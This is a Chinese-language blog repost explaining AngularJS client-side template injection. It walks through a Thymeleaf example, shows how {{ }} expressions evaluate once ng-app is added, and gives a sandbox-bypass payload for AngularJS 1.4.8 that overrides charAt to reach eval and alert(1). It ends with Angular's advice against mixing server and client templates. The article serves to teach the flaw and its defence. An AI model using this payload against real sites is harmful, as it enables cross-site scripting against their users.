利用AngularJS绕过XSS表达式沙箱

简介

AngularJS是一个很流行的JavaScript框架,通过这个框架可以把表达式放在花括号中嵌入到页面中。例如,表达式1+2={{1+2}}将会得到1+2=3。其中括号中的表达式被执行了,这就意味着,如果服务端允许用户输入的参数中带有花括号,我们就可以用Angular表达式来进行xss攻击。

一个客户端的用户输入

我们来探究下HTML页面是如何安全的防护用户输入。在下面这个例子中,我们会使用HTML中的Thymeleaf来编码,然后在页面中的div标签的text属性中输出username的值。

  1. <html xmlns:th="http://www.thymeleaf.org"> 
  2. <head> 
  3. <title>AngularJS - Escaping the Expression Sandbox</title> 
  4. </head> 
  5. <body> 
  6. <div th:text="${username}"></div> 
  7. </body> 
  8. </html> 

如果username的值是alert(‘Rob’),输出的页面就是以下的样子:

  1. <html xmlns:th="http://www.thymeleaf.org"> 
  2. <head> 
  3. <title>AngularJS - Escaping the Expression Sandbox  
  4. </title> 
  5. </head> 
  6. <body> 
  7. <div>&lt;script&gt;alert('Rob')&lt;/script&gt; 
  8. </div> 
  9. </body> 
  10. </html> 

可以看到,输出的内容都被HTML编码了,这就是说,目前为止这个应用对xss攻击是可以防御的。

添加AngularJS

当前,我们的应用可以防护xss攻击。接下来,我们加入AngularJS来改下:

  1. <html xmlns:th="http://www.thymeleaf.org"> 
  2. <head> 
  3. <title>Angular Expression - safe</title> 
  4. <script src="angular-1.4.8.min.js"></script> 
  5. </head> 
  6. <body ng-app> 
  7. <div th:text="${username}"></div> 
  8. </body> 
  9. </html> 

你可以发现,有两处修改了:

1. 引入了angular-1.4.8.min.js

2. 给body元素添加了ng-app

现在,我们的应用就很容易受到xss攻击了,但是,我们该如何攻击呢?

就像我们在简介中介绍的那样,如果把username改成1+2={{1+2}}会怎么样呢?

结果如下:

  1. <html> 
  2. <head> 
  3. <title>Angular Expression - safe</title> 
  4. <script src="angular-1.4.8.min.js"></script> 
  5. </head> 
  6. <body ng-app=""> 
  7. <div>1+2={{1+2}}</div> 
  8. </body> 
  9. </html> 

Angular将会把DOM解析成如下:

  1. <html> 
  2. <head> 
  3. <title>Angular Expression - safe</title> 
  4. <script src="angular-1.4.8.min.js"></script> 
  5. </head> 
  6. <body ng-app=""> 
  7. <div>1+2=3</div> 
  8. </body> 
  9. </html> 

可以看到括号里面的表达式被运行了,我们现在把username换成{{alert(‘Rob’)}}试试,但是这样做被表达式沙盒拦截了。此时,我们可以认为我们写的页面是安全的,因为威胁语句被拦截了。

表达式沙盒化

在AngularJS中,沙盒化的目的并不是为了安全,更主要的是为了分离应用,例如,用户在获取window的时候是不被允许的,因为这样可以避免在你的程序中引入全局变量。

但是,如果在表达式被处理之前,有攻击者修改了页面模板,这样的情况沙盒是不会拦截的。也就是说,这种情况下,任何在花括号内的语句都能被执行,

所以Angular官方建议开发这类应用时,最好不要让用户可以修改客户端模板。具体建议如下:

不要把客户端和服务端模板混在一起

不要通过用户输入来动态的生成模板

不要用$scope.$eval运行用户输入内容

可以考虑使用CSP(也不要只依赖于CSP)

这些意味着如果应用页面允许用户的输入修改到客户端的模板中,那么这个页面将很容易被xss攻击,接下来我们来看看这个具体的例子:

绕过表达式沙盒

如果我们的payload被沙盒化了,我们该怎么样绕过呢?

如果我们的username是以下的值,将会发生什么呢?

{{‘a’.constructor.prototype.charAt=[].join;eval(‘x=1} } };alert(1)//’);

}}

上面的例子中,通过覆盖原始函数charAt,我们就可以绕过Angular的表达式沙盒,并且执行我们的语句alert(1)。具体的攻击原理可以参考http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html。

注意,这些测试只是在Chrome和AngularJS1.4.8中成功。在其他的浏览器中不知道能不能成功。

结论

如果服务端允许用户输入到Angular模板,这将会让你的应用陷入xss的攻击中。不过话说回来,最好不要把服务端的用户输入和客户端模板混合起来。关于这点你可以从这篇文章里面了解详细的内容https://github.com/rwinch/angularjs-escaping-expression-sandbox

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/139240.html<

(0)
运维的头像运维
上一篇2025-03-03 09:33
下一篇 2025-03-03 09:35

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注